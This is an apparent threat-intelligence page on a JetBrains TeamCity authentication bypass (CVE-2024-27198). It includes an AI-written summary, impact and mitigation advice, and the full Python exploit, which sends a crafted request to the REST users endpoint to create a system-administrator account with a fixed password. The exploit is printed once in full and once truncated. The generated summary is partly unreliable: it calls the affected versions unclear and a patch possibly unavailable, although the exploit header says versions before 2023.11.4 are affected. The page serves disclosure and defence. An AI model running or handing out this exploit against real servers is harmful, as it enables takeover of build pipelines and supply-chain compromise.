JetBrains TeamCity 2023.11.4 - Authentication Bypass
JetBrains TeamCity 2023.11.4 - Authentication Bypass
AI Analysis
Technical Summary
The security threat concerns an authentication bypass vulnerability in JetBrains TeamCity version 2023.11.4. TeamCity is a widely used continuous integration and continuous deployment (CI/CD) server that automates build, test, and release processes. An authentication bypass vulnerability allows an attacker to circumvent the normal login procedures, gaining unauthorized access to the system without valid credentials. This can lead to unauthorized access to sensitive build configurations, source code repositories, and deployment pipelines. The presence of exploit code written in Python indicates that the vulnerability can be programmatically exploited, potentially allowing automated attacks. Although the affected versions are not explicitly listed, the vulnerability is specifically tied to version 2023.11.4, suggesting that this version contains the flaw. The lack of patch links implies that either a patch is not yet available or not publicly disclosed at the time of this report. The exploit targets the web interface of TeamCity, which is typically accessible within corporate networks or exposed externally depending on deployment. Since TeamCity manages critical software development workflows, unauthorized access can lead to code tampering, insertion of malicious code, disruption of build processes, and potential downstream compromise of production environments. The absence of known exploits in the wild suggests that this vulnerability is newly disclosed or not yet widely weaponized. However, the availability of exploit code increases the risk of imminent exploitation by threat actors.
Potential Impact
For European organizations, this vulnerability poses significant risks, especially for enterprises relying on TeamCity for software development and deployment. Unauthorized access could lead to intellectual property theft, insertion of malicious code into software builds, and disruption of software delivery pipelines. This can impact confidentiality, integrity, and availability of software development processes. Organizations in sectors such as finance, healthcare, telecommunications, and critical infrastructure, which often have stringent regulatory requirements (e.g., GDPR, NIS Directive), could face compliance violations and reputational damage if exploited. Additionally, supply chain attacks leveraging this vulnerability could propagate malicious code to downstream customers and partners, amplifying the impact across the European digital ecosystem.
Mitigation Recommendations
Immediate mitigation steps include restricting access to the TeamCity web interface to trusted internal networks and VPNs, implementing strict network segmentation, and monitoring for unusual authentication attempts or access patterns. Organizations should apply any available patches or updates from JetBrains as soon as they are released. In the absence of patches, consider temporary workarounds such as disabling external access or enforcing multi-factor authentication (MFA) at the network perimeter. Conduct thorough audits of TeamCity user accounts and permissions to ensure least privilege principles are enforced. Implement enhanced logging and alerting on TeamCity servers to detect potential exploitation attempts. Additionally, review and harden the underlying infrastructure hosting TeamCity, including operating system and web server configurations, to reduce attack surface.
Affected Countries
Germany, France, United Kingdom, Netherlands, Sweden, Finland, Italy
Indicators of Compromise
- exploit-code: #!/usr/bin/env python3 # -*- coding: utf-8 -*- """ # Exploit Title: JetBrains TeamCity 2023.11.4 - Authentication Bypass # Date: 2024-02-21 # Exploit Author: ibrahimsql (https://github.com/ibrahimsql) # Vendor Homepage: https://www.jetbrains.com/teamcity/ # Version: < 2023.11.4 # CVE: CVE-2024-27198 # CVSS Score: 9.8 (Critical) # Description: # JetBrains TeamCity before version 2023.11.4 contains a critical authentication bypass # vulnerability that allows unauthenticated attackers to perform administrative actions. # The vulnerability leverages a path traversal-like technique in the JSP handling # mechanism combined with REST API endpoints to bypass authentication. # Requirements: requests>=2.25.1 """ import requests import argparse import sys import json from urllib.parse import urlparse requests.packages.urllib3.disable_warnings() class Colors: RED = '\033[91m' GREEN = '\033[92m' YELLOW = '\033[93m' BLUE = '\033[94m' CYAN = '\033[96m' BOLD = '\033[1m' END = '\033[0m' banner = f"""{Colors.CYAN} ████████╗███████╗ █████╗ ███╗ ███╗ ██████╗██╗████████╗██╗ ██╗ ╚══██╔══╝██╔════╝██╔══██╗████╗ ████║██╔════╝██║╚══██╔══╝╚██╗ ██╔╝ ██║ █████╗ ███████║██╔████╔██║██║ ██║ ██║ ╚████╔╝ ██║ ██╔══╝ ██╔══██║██║╚██╔╝██║██║ ██║ ██║ ╚██╔╝ ██║ ███████╗██║ ██║██║ ╚═╝ ██║╚██████╗██║ ██║ ██║ ╚═╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝ ╚═╝ {Colors.END} {Colors.BOLD}{Colors.RED} TeamCity Authentication Bypass (CVE-2024-27198){Colors.END} {Colors.YELLOW} Author: ibrahimsql{Colors.END} """ parser = argparse.ArgumentParser(description="TeamCity Authentication Bypass Exploit (CVE-2024-27198)") parser.add_argument("--url", type=str, required=True, help="Target TeamCity URL") parser.add_argument("--timeout", type=int, default=15, help="Request timeout (default: 15)") parser.add_argument("--verbose", "-v", action="store_true", help="Enable verbose output") args = parser.parse_args() class TeamCityExploit: def __init__(self, target_url, timeout=15, verbose=False): self.target_url = target_url.rstrip('/') self.timeout = timeout self.verbose = verbose self.session = requests.Session() def _log(self, message, level="info"): if level == "success": print(f"{Colors.GREEN}[+] {message}{Colors.END}") elif level == "error": print(f"{Colors.RED}[-] {message}{Colors.END}") elif level == "warning": print(f"{Colors.YELLOW}[!] {message}{Colors.END}") elif level == "info": print(f"{Colors.BLUE}[*] {message}{Colors.END}") elif level == "verbose" and self.verbose: print(f"[DEBUG] {message}") def check_target_reachability(self): try: self._log(f"Checking target: {self.target_url}") response = self.session.get(self.target_url, verify=False, timeout=self.timeout) if response.status_code in [200, 302, 401, 403]: self._log("Target is reachable", "success") return True else: self._log(f"Unexpected status: {response.status_code}", "error") return False except requests.exceptions.Timeout: self._log("Connection timeout", "error") return False except requests.exceptions.ConnectionError: self._log("Connection error", "error") return False except Exception as e: self._log(f"Error: {str(e)}", "error") return False def exploit_authentication_bypass(self): exploit_path = "/idontexist?jsp=/app/rest/users;.jsp" full_url = f"{self.target_url}{exploit_path}" self._log(f"Targeting: {full_url}") headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Accept": "application/json, text/plain, */*" } payload = { "username": "ibrahimsql", "password": "ibrahimsql", "email": "ibrahimsql@exploit.local", "roles": { "role": [{ "roleId": "SYSTEM_ADMIN", "scope": "g" }] } } self._log(f"Payload: {json.dumps(payload)}", "verbose") try: self._log("Attempting authentication bypass...") response = self.session.post(full_url, headers=headers, verify=False, json=payload, timeout=self.timeout) self._log(f"Status: {response.status_code}", "verbose") self._log(f"Response: {response.text[:200]}", "verbose") if response.status_code == 200: self._log("Exploit successful!", "success") print(f"\n{Colors.BOLD}{Colors.GREEN}[SUCCESS] Admin user created!{Colors.END}") print(f"{Colors.CYAN}{'='*50}{Colors.END}") print(f"{Colors.YELLOW}Username:{Colors.END} ibrahimsql") print(f"{Colors.YELLOW}Password:{Colors.END} ibrahimsql") print(f"{Colors.YELLOW}Login URL:{Colors.END} {self.target_url}/login.html") print(f"{Colors.CYAN}{'='*50}{Colors.END}") return True elif response.status_code == 401: self._log("Authentication required - target may be patched", "error") return False elif response.status_code == 404: self._log("Endpoint not found - target may be patched", "error") return False elif response.status_code == 403: self._log("Access forbidden", "error") return False else: self._log(f"Unexpected status: {response.status_code}", "error") return False except requests.exceptions.Timeout: self._log("Request timeout", "error") return False except requests.exceptions.ConnectionError: self._log("Connection error", "error") return False except Exception as e: self._log(f"Error: {str(e)}", "error") return False def validate_url(url): try: parsed = urlparse(url) if not parsed.scheme: url = f"http://{url}" parsed = urlparse(url) if parsed.scheme not in ['http', 'https']: raise ValueError("URL must use HTTP or HTTPS") if not parsed.netloc: raise ValueError("Invalid URL format") return url except Exception as e: raise ValueError(f"Invalid URL: {str(e)}") def main(): print(banner) try: target_url = validate_url(args.url) print(f"{Colors.BOLD}{Colors.CYAN}=== CVE-2024-27198 TeamCity Exploit ==={Colors.END}") print(f"{Colors.YELLOW}Author:{Colors.END} ibrahimsql") print(f"{Colors.YELLOW}Target:{Colors.END} {target_url}") print(f"{Colors.CYAN}{'='*45}{Colors.END}\n") exploit = TeamCityExploit(target_url=target_url, timeout=args.timeout, verbose=args.verbose) if not exploit.check_target_reachability(): exploit._log("Cannot reach target", "error") sys.exit(1) success = exploit.exploit_authentication_bypass() if success: exploit._log("Exploit completed!", "success") sys.exit(0) else: exploit._log("Exploit failed", "error") sys.exit(1) except ValueError as e: print(f"{Colors.RED}[-] {str(e)}{Colors.END}") sys.exit(1) except KeyboardInterrupt: print(f"\n{Colors.YELLOW}[!] Interrupted{Colors.END}") sys.exit(1) except Exception as e: print(f"{Colors.RED}[-] Error: {str(e)}{Colors.END}") sys.exit(1) if __name__ == "__main__": main()
JetBrains TeamCity 2023.11.4 - Authentication Bypass
Description
JetBrains TeamCity 2023.11.4 - Authentication Bypass
AI-Powered Analysis
Technical Analysis
The security threat concerns an authentication bypass vulnerability in JetBrains TeamCity version 2023.11.4. TeamCity is a widely used continuous integration and continuous deployment (CI/CD) server that automates build, test, and release processes. An authentication bypass vulnerability allows an attacker to circumvent the normal login procedures, gaining unauthorized access to the system without valid credentials. This can lead to unauthorized access to sensitive build configurations, source code repositories, and deployment pipelines. The presence of exploit code written in Python indicates that the vulnerability can be programmatically exploited, potentially allowing automated attacks. Although the affected versions are not explicitly listed, the vulnerability is specifically tied to version 2023.11.4, suggesting that this version contains the flaw. The lack of patch links implies that either a patch is not yet available or not publicly disclosed at the time of this report. The exploit targets the web interface of TeamCity, which is typically accessible within corporate networks or exposed externally depending on deployment. Since TeamCity manages critical software development workflows, unauthorized access can lead to code tampering, insertion of malicious code, disruption of build processes, and potential downstream compromise of production environments. The absence of known exploits in the wild suggests that this vulnerability is newly disclosed or not yet widely weaponized. However, the availability of exploit code increases the risk of imminent exploitation by threat actors.
Potential Impact
For European organizations, this vulnerability poses significant risks, especially for enterprises relying on TeamCity for software development and deployment. Unauthorized access could lead to intellectual property theft, insertion of malicious code into software builds, and disruption of software delivery pipelines. This can impact confidentiality, integrity, and availability of software development processes. Organizations in sectors such as finance, healthcare, telecommunications, and critical infrastructure, which often have stringent regulatory requirements (e.g., GDPR, NIS Directive), could face compliance violations and reputational damage if exploited. Additionally, supply chain attacks leveraging this vulnerability could propagate malicious code to downstream customers and partners, amplifying the impact across the European digital ecosystem.
Mitigation Recommendations
Immediate mitigation steps include restricting access to the TeamCity web interface to trusted internal networks and VPNs, implementing strict network segmentation, and monitoring for unusual authentication attempts or access patterns. Organizations should apply any available patches or updates from JetBrains as soon as they are released. In the absence of patches, consider temporary workarounds such as disabling external access or enforcing multi-factor authentication (MFA) at the network perimeter. Conduct thorough audits of TeamCity user accounts and permissions to ensure least privilege principles are enforced. Implement enhanced logging and alerting on TeamCity servers to detect potential exploitation attempts. Additionally, review and harden the underlying infrastructure hosting TeamCity, including operating system and web server configurations, to reduce attack surface.
Affected Countries
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Technical Details
- Edb Id
- 52411
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for JetBrains TeamCity 2023.11.4 - Authentication Bypass
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ # Exploit Title: JetBrains TeamCity 2023.11.4 - Authentication Bypass # Date: 2024-02-21 # Exploit Author: ibrahimsql (https://github.com/ibrahimsql) # Vendor Homepage: https://www.jetbrains.com/teamcity/ # Version: < 2023.11.4 # CVE: CVE-2024-27198 # CVSS Score: 9.8 (Critical) # Description: # JetBrains TeamCity before version 2023.11.4 contains a critical authentication bypass # vulnerability that allows unauthenticated attackers to perform ad... (7722 more characters)
Threat ID: 689a95b8ad5a09ad002b095d
Added to database: 8/12/2025, 1:15:36 AM
Last enriched: 8/27/2025, 1:28:26 AM
Last updated: 8/31/2025, 1:16:54 AM
Views: 10
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